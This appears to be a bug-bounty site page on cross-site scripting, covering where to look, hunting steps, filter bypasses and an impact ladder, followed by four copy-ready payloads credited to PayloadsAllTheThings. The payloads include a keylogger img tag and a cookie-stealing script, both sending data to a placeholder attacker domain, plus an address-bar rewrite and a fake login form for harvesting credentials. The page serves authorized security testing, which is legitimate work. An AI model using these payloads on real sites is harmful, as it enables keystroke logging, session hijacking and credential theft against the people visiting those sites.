wildhunter logo
The arsenal

Payloads.

Pick a vulnerability class, learn how to hunt it step by step, grab the payloads that actually work. Curated from PayloadsAllTheThings — the full section is linked under every class.

SQL InjectionXSSSSRFCommand InjectionSSTIFile Inclusion (LFI)Path TraversalInsecure DeserializationNoSQL InjectionGraphQLJWTCORSRequest SmugglingOpen RedirectFile UploadIDOROAuthAccount TakeoverRace ConditionCRLF InjectionCSRFLDAP InjectionXXEWeb Cache Deception

XSS

Injecting client-side scripts into pages other users view — reflected (from a request), stored (persisted server-side), or DOM-based (broken client-side rendering). It's the most common bug class in bug bounty, and the most common cause of account takeover chains.

Severity guide

Stored XSS in an admin or privileged context is critical; reflected XSS needs a self-contained attack URL; self-XSS alone is usually informational unless you can chain it.

Where to look

entry points to test first

01

Every request reflection

Search params, error messages, breadcrumbs — anywhere input reappears. Note the exact HTML context (body, attribute, JS string, href).

02

Profile fields & rich text

Usernames, bios, comments, markdown renderers — stored contexts where admins will eventually view your payload.

03

File names & uploads

SVG (executable script), PDF metadata, image EXIF — files that get rendered on-site carry script.

04

DOM sinks

location.hash into innerHTML, jQuery .html(), document.write, postMessage handlers — grep the JS bundle for sink calls.

05

Email/notification bodies

HTML emails and in-app notifications often render user data with less sanitization than the app itself.

How to hunt it

in order, start to finish

  1. Map every reflection

    Inject a unique marker like "'""/></script>" and see exactly how it lands in the HTML. The context decides everything: attribute, JS string, tag body, or URL.

  2. Probe the context

    In an attribute, break out with "> — in a JS string, with '</script> — in a tag body, try event handlers. One context at a time; the closing character differs each time.

  3. Check the filter's behavior

    Encode case-insensitively, try <svg>/<img>/<details>/<video> tag variants and onerror/onload/onfocus event handlers. Watch what gets stripped vs escaped — that map is your bypass list.

  4. Fire a harmless proof

    An event-handler img tag proves execution just as well as alert() without a wall of script tags — many filters miss handlers entirely.

  5. Show real impact

    A cookie exfil to [ATTACKER.DOMAIN.TLD] or a fake login overlay demonstrates credential theft — that's the difference between a triaged and a duplicated report.

  6. Maximize reach

    Stored beats reflected; admin-viewed beats user-viewed; on-domain beats iframe. If it's self-XSS, hunt for a login-CSRF or iframe embed to chain it.

Filter & validation bypasses

when your first tries get blocked
  • 01<script> stripped? Event handlers usually aren't: <img src=x onerror=...>, <svg onload=...>, <body onfocus=... autofocus>.
  • 02Event handlers stripped? Try <a href=javascript:...> variants, <iframe srcdoc=...>, or unclosed tags that swallow page markup.
  • 03Keyword filters? Case tricks (<ScRiPt), null bytes in older parsers, or splitting across parameters the template concatenates.
  • 04Context is a JS string? </script><img ...> closes the script block first; inside template literals ${...} evaluates.

Impact ladder

what makes it payable
  1. 01Session/cookie theft — full account takeover when cookies aren't HttpOnly.
  2. 02Keylogging and fake logins — capture credentials on the trusted page.
  3. 03Silent actions — send requests as the victim (transfers, role changes).
  4. 04Admin-panel compromise — stored XSS hitting a support/admin console escalates to every user.

Payloads

4 · from PayloadsAllTheThings
<img src=x onerror='document.onkeypress=function(e){fetch("http://[ATTACKER.DOMAIN.TLD]/?k="+String.fromCharCode(e.which))},this.remove();'>

Event-handler keylogger — survives many filters and proves full execution.

<script>fetch('https://[ATTACKER.DOMAIN.TLD]', {method: 'POST', mode: 'no-cors', body: document.cookie})</script>

Cookie exfiltration — the standard impact demonstration.

history.replaceState(null, null, '../../../login');

Fake-URL phishing: rewrite the address bar to a login route.

document.body.innerHTML = "<h1>Please login to continue</h1><form>Username: <input type='text'>Password: <input type='password'></form>"

Fake login overlay — credential-harvesting impact for the report.

ToolsDalfox/XSStrike/
Full XSS section ↗

Payload strings, code and technical terms are shown in English on purpose — payloads must be copied exactly as published.

Payloads originate from PayloadsAllTheThings (MIT) — use them only on programs you're authorized to test.

Payloads — wildhunter